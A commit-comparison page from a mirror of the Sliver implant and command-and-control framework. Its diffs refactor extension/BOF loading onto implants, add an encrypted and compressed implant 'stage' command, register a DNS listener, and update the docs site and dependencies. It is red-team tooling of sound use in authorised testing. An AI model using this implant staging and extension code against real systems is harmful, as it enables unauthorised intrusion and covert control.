mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
60
Commits
zig
...
fix/dns-c2
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
16b54c8f5b | ||
|
|
8317678143 | ||
|
|
d3a6e82214 | ||
|
|
4f899c97f0 | ||
|
|
1a388c6e1e | ||
|
|
335797e661 | ||
|
|
d767bd019c | ||
|
|
590f9c3f96 | ||
|
|
cff899aa49 | ||
|
|
ca2dc9d267 | ||
|
|
afdd77c642 | ||
|
|
8a5970c3da | ||
|
|
2eb2ac8121 | ||
|
|
daf7d404b1 | ||
|
|
3b308920f4 | ||
|
|
c73b183f74 | ||
|
|
7564312f5e | ||
|
|
6134b78afb | ||
|
|
3db9946608 | ||
|
|
ef09058498 | ||
|
|
331faeb8ef | ||
|
|
4ae195e3eb | ||
|
|
f8f8ba5864 | ||
|
|
216e3b9759 | ||
|
|
f1bc5074f9 | ||
|
|
5083faa1e1 | ||
|
|
1b5d3436eb | ||
|
|
56303eb89a | ||
|
|
9397fcb4ae | ||
|
|
04c6c3f800 | ||
|
|
7842a6c4c6 | ||
|
|
6c815a4432 | ||
|
|
81358e31bb | ||
|
|
7bea772dbd | ||
|
|
0b235b4d42 | ||
|
|
1402a75b18 | ||
|
|
ff5e4a4a24 | ||
|
|
e59c90c89a | ||
|
|
49771f0159 | ||
|
|
a2808b19f6 | ||
|
|
eddfb7073c | ||
|
|
930799495c | ||
|
|
5016fb8d7c | ||
|
|
65382f7b77 | ||
|
|
c1d00f0e48 | ||
|
|
e89280d64a | ||
|
|
aa4c9d7b8a | ||
|
|
2be820daf1 | ||
|
|
0a44fde9fa | ||
|
|
151dfe2643 | ||
|
|
fa7033f0c4 | ||
|
|
4eab1b582a | ||
|
|
f78db1a825 | ||
|
|
eb61740f5d | ||
|
|
39d0f3b838 | ||
|
|
8f084c99a4 | ||
|
|
87720d8a41 | ||
|
|
f8dd5230c1 | ||
|
|
174455cbcc | ||
|
|
7fe0b295f5 |
No files matched your search
+5
-9
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.22.2 as base
|
||||
FROM golang:1.22.2 as base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -29,7 +29,7 @@ RUN cp -vv sliver-server /opt/sliver-server
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM --platform=linux/amd64 base as test
|
||||
FROM base as test
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production
|
||||
FROM debian:bookworm-slim as production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
@@ -91,15 +91,11 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
### Slim production image, i.e. without MSF and assoicated libraries
|
||||
### Still include GCC and MinGW for cross-platform generation
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
&& apt-get -y upgrade
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get autoremove -y \
|
||||
|
||||
+6
-4
@@ -24,8 +24,8 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -34,8 +34,6 @@ const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging.
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
@@ -48,6 +46,10 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
@@ -90,7 +92,7 @@ var rootCmd = &cobra.Command{
|
||||
// Execute - Execute root command.
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("root command: %s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+18
-4
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
@@ -20,7 +38,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
@@ -28,9 +45,6 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
|
||||
+19
-1
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
@@ -24,7 +42,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
// Pre-runners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
|
||||
@@ -57,7 +57,7 @@ var (
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"linux": linuxDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
@@ -105,7 +105,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
|
||||
@@ -99,6 +99,7 @@ type ExtCommand struct {
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
Manifest *ExtensionManifest
|
||||
}
|
||||
@@ -141,13 +142,13 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
for _, extCmd := range manifest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
@@ -184,7 +185,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Name: old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
@@ -215,7 +216,9 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
if err != nil {
|
||||
log.Printf("extension load error: %s", err)
|
||||
}
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
@@ -369,38 +372,50 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
extensionList = extList.Names
|
||||
}
|
||||
depLoaded := false
|
||||
//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file.
|
||||
|
||||
//get the file hash to compare against implant extensions later
|
||||
toberunfilepath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//we need to check the dependent if it's a bof
|
||||
if ext.DependsOn != "" {
|
||||
//verify extension is in loaded list
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
toberunfilepath, err = extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
// handle error
|
||||
return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
}
|
||||
}
|
||||
|
||||
//todo, maybe cache these values somewhere
|
||||
toberunfiledata, err := os.ReadFile(toberunfilepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(toberunfiledata) == 0 {
|
||||
//read an empty file, bail out
|
||||
return errors.New("read empty extension file content")
|
||||
}
|
||||
bd := sha256.Sum256(toberunfiledata)
|
||||
toberunhash := hex.EncodeToString(bd[:])
|
||||
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
}
|
||||
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
|
||||
extN := loadedExtensions[cmd.Name()]
|
||||
if extN != nil {
|
||||
//confirm we haven't already loaded the file
|
||||
for _, extf := range extN.Files {
|
||||
if strings.HasSuffix(binPath, extf.Path) {
|
||||
//file already exists, no need to load it
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded
|
||||
if extName == toberunhash {
|
||||
//exists on the other side, exit early
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good)
|
||||
if ext.DependsOn != "" {
|
||||
return loadDep(goos, goarch, ext.DependsOn, cmd, con)
|
||||
}
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -416,13 +431,41 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -523,6 +566,33 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
if isBOF {
|
||||
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
|
||||
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
dep, err := extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
depdata, err := os.ReadFile(dep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("dep read file error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(depdata) == 0 {
|
||||
con.PrintErrorf("read empty file: %s\n", dep)
|
||||
return
|
||||
}
|
||||
bd = sha256.Sum256(depdata)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
} else {
|
||||
// handle error
|
||||
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
@@ -567,7 +637,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
@@ -577,7 +647,7 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
// If we have an extension that expects a single string, but more than one has been parsed, combine them
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
|
||||
// The loop below will only read the first element of args because ext.Arguments is 1
|
||||
args[0] = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
@@ -184,6 +184,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
profilesStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Generate implant from a profile and encode or encrypt it",
|
||||
Args: cobra.ExactArgs(1),
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ProfilesStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("profiles", false, profilesStageCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
f.StringP("aes-encrypt-key", "k", "", "AES Encryption Key")
|
||||
f.StringP("aes-encrypt-iv", "i", "", "AES Encryption IV")
|
||||
f.StringP("rc4-encrypt-key", "r", "", "RC4 encryption key")
|
||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||
})
|
||||
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
|
||||
// Session flags and completions.
|
||||
coreImplantFlags("session", profilesNewCmd)
|
||||
compileImplantFlags("session", profilesNewCmd)
|
||||
|
||||
@@ -108,6 +108,7 @@ var (
|
||||
// Profiles
|
||||
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
|
||||
consts.ProfilesStr + sep + consts.StageStr: generateProfileStageHelp,
|
||||
|
||||
// Reactions
|
||||
consts.ReactionStr: reactionHelp,
|
||||
@@ -249,6 +250,9 @@ settings. Generated implants will still have per-binary certificates/obfuscation
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
generateProfileStageHelp = `[[.Bold]]Command:[[.Normal]] stage [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
|
||||
|
||||
@@ -169,5 +169,5 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats")
|
||||
})
|
||||
|
||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd}
|
||||
return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, dnsCmd, httpCmd, httpsCmd, stageCmd}
|
||||
}
|
||||
@@ -264,11 +264,13 @@ func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) err
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer writer.Close()
|
||||
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bar := pb.Full.Start64(limit)
|
||||
barReader := bar.NewProxyReader(resp.Body)
|
||||
|
||||
@@ -356,7 +356,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
|
||||
for _, reaction := range reactions {
|
||||
for _, line := range reaction.Commands {
|
||||
con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line)
|
||||
err := con.App.ActiveMenu().RunCommand(line)
|
||||
err := con.App.ActiveMenu().RunCommandLine(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Reaction command error: %s\n", err)
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import { useRouter } from "next/router";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
import Youtube from "./youtube";
|
||||
|
||||
export type MarkdownProps = {
|
||||
key?: string;
|
||||
@@ -131,6 +132,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
);
|
||||
}
|
||||
|
||||
if (lang === "youtube") {
|
||||
const embedId = (children as string) || "";
|
||||
return <Youtube embedId={embedId.trim()} />;
|
||||
}
|
||||
|
||||
if (lang === "asciinema") {
|
||||
const asciiCast: MarkdownAsciiCast = JSON.parse(
|
||||
children as string
|
||||
|
||||
@@ -42,7 +42,7 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</div>
|
||||
|
||||
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
|
||||
<div className="flex w-full items-center">
|
||||
<div className="flex flex-row w-full items-center">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
@@ -54,17 +54,16 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<div className="justify-items-end">
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
className="ml-auto"
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
export type YoutubeProps = {
|
||||
className?: string;
|
||||
|
||||
width?: number;
|
||||
height?: number;
|
||||
|
||||
embedId: string;
|
||||
};
|
||||
|
||||
export default function Youtube(props: YoutubeProps) {
|
||||
return (
|
||||
<div className={props.className}>
|
||||
<iframe
|
||||
width={`${props.width ? props.width : 640}`}
|
||||
height={`${props.height ? props.height : 360}`}
|
||||
src={`https://youtu.be/embed/${props.embedId}`}
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Generated
+63
-71
@@ -19,7 +19,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.3",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
@@ -383,9 +383,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.0.4.tgz",
|
||||
"integrity": "sha512-irQnbMLbUNQpP1wcE5NstJtbuA/69kRfzBrpAD7Gsn8zm/CY6YQYc3HQBz8QPxwISG26tIm5afvvVbu508oBeQ=="
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.3.tgz",
|
||||
"integrity": "sha512-W7fd7IbkfmeeY2gXrzJYDx8D2lWKbVoTIj1o1ScPHNzvp30s1AuoEFSdr39bC5sjxJaxTtq3OTCZboNp0lNWHA=="
|
||||
},
|
||||
"node_modules/@next/eslint-plugin-next": {
|
||||
"version": "14.0.4",
|
||||
@@ -397,9 +397,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-arm64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.0.4.tgz",
|
||||
"integrity": "sha512-mF05E/5uPthWzyYDyptcwHptucf/jj09i2SXBPwNzbgBNc+XnwzrL0U6BmPjQeOL+FiB+iG1gwBeq7mlDjSRPg==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.3.tgz",
|
||||
"integrity": "sha512-3pEYo/RaGqPP0YzwnlmPN2puaF2WMLM3apt5jLW2fFdXD9+pqcoTzRk+iZsf8ta7+quAe4Q6Ms0nR0SFGFdS1A==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -412,9 +412,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-x64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.0.4.tgz",
|
||||
"integrity": "sha512-IZQ3C7Bx0k2rYtrZZxKKiusMTM9WWcK5ajyhOZkYYTCc8xytmwSzR1skU7qLgVT/EY9xtXDG0WhY6fyujnI3rw==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.3.tgz",
|
||||
"integrity": "sha512-6adp7waE6P1TYFSXpY366xwsOnEXM+y1kgRpjSRVI2CBDOcbRjsJ67Z6EgKIqWIue52d2q/Mx8g9MszARj8IEA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -427,9 +427,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-VwwZKrBQo/MGb1VOrxJ6LrKvbpo7UbROuyMRvQKTFKhNaXjUmKTu7wxVkIuCARAfiI8JpaWAnKR+D6tzpCcM4w==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.3.tgz",
|
||||
"integrity": "sha512-cuzCE/1G0ZSnTAHJPUT1rPgQx1w5tzSX7POXSLaS7w2nIUJUD+e25QoXD/hMfxbsT9rslEXugWypJMILBj/QsA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -442,9 +442,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-8QftwPEW37XxXoAwsn+nXlodKWHfpMaSvt81W43Wh8dv0gkheD+30ezWMcFGHLI71KiWmHK5PSQbTQGUiidvLQ==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.3.tgz",
|
||||
"integrity": "sha512-0D4/oMM2Y9Ta3nGuCcQN8jjJjmDPYpHX9OJzqk42NZGJocU2MqhBq5tWkJrUQOQY9N+In9xOdymzapM09GeiZw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -457,9 +457,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-/s/Pme3VKfZAfISlYVq2hzFS8AcAIOTnoKupc/j4WlvF6GQ0VouS2Q2KEgPuO1eMBwakWPB1aYFIA4VNVh667A==",
|
||||
"version": "14.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.3.tgz",
|
||||
